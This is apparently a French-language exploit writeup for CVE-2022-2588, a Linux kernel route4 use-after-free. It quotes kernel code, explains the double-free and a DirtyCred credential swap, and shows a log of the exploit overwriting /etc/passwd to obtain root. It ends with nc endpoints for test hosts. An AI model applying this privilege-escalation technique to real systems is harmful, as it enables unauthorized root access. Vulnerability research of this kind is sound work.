
Description détaillée et code d'exploitation pour CVE-2022-2588, une vulnérabilité de type use-after-free dans le noyau Linux dans route4_change menant à une élévation de privilèges par double libération et échange d'identifiants.
Le bogue est corrigé dans Linux v5.19 par ce commit.
Le bogue a été introduit dans Linux v3.17 par ce commit en 2014. Il nécessite User Namespaces pour être déclenché. Ce bogue est très similaire à CVE-2021-3715, qui était causé par une opération incorrecte sur la liste chaînée de route4_filter. Plus de détails sur CVE-2021-3715 peuvent être trouvés dans l'article Black Hat (page 16). Voici quelques brèves informations sur CVE-2022-2588.
Ce qui suit montre certains extraits de code importants de la fonction route4_change pour comprendre CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
La fonction est implémentée pour initialiser/remplacer l'objet route4_filter. Le filtre utilise handle comme identifiant unique pour distinguer chaque filtre. S'il existe un handle qui a déjà été initialisé (c'est-à-dire que la variable fold n'est pas nulle), il mettra à jour le filtre en supprimant l'ancien filtre et en ajoutant un nouveau ; sinon, il ajoutera simplement un nouveau filtre.
En [0], le noyau alloue l'objet route4_filter. En [1], si fold n'est pas vide, ce qui signifie qu'il existe un filtre avec le même handle, il copiera certaines informations vers le nouveau filtre et initialisera le nouveau filtre en [2], puis insérera le nouveau filtre dans la liste en [3]. Si l'ancien filtre existe, il est supprimé de la liste en [4] et libéré en [6].
Le bogue se produit en [4], qui vérifie s'il existe un ancien filtre à supprimer. La condition s'assure que le handle ne doit pas être zéro et qu'il doit correspondre au handle du nouveau filtre. Cette condition n'est pas alignée avec la condition de libération du filtre en [6], qui vérifie uniquement si l'ancien filtre existe. Par conséquent, si les utilisateurs créent un filtre dont le handle est 0, puis déclenchent son remplacement, le filtre ne sera pas désolidarisé en [4] mais sera libéré en [6] puisque leurs conditions ne sont pas les mêmes.
Étant donné que ce bogue est similaire à CVE-2021-3715, leurs primitives sont quasiment les mêmes. Les lecteurs peuvent se référer à l'article Black Hat pour une description plus détaillée des primitives. Ce rapport présente l'exploitation avec l'idée de DirtyCred.
Étant donné que le fold libéré est toujours sur la liste chaînée après avoir déclenché le bogue, nous pouvons libérer le fold une nouvelle fois, ce qui entraînera éventuellement un double-free sur l'objet route4_filter et l'objet route4_filter->exts.action si CONFIG_NET_CLS_ACT est activé.
Les codes d'exploitation utilisent ces deux capacités de double-free pour démontrer l'attaque sur les credentials de tâche (en utilisant le double-free kmalloc-192, à venir) et les credentials de fichier ouvert (en utilisant le double-free kmalloc-256).
Suivant l'idée de DirtyCred, le code d'exploitation échange les credentials du fichier après les vérifications de permissions, de sorte que nous pouvons écrire n'importe quel contenu dans des fichiers avec permission de lecture. Idéalement, le code devrait fonctionner sur toutes les versions du noyau affectées par le bogue. Il est à noter que pour garantir le fonctionnement sur les noyaux plus anciens où msg_msg est isolé dans kmalloc-rcl-*, l'exploitation utilise un objet de pulvérisation différent.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
L'exploitation a été écrite pour fonctionner sur autant de distributions que possible. Elle a été confirmée fonctionner sur :
(N'hésitez pas à envoyer une PR pour mettre à jour cette liste si vous constatez qu'elle fonctionne sur d'autres noyaux.)
Veuillez vous connecter avec l'utilisateur low et le mot de passe low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338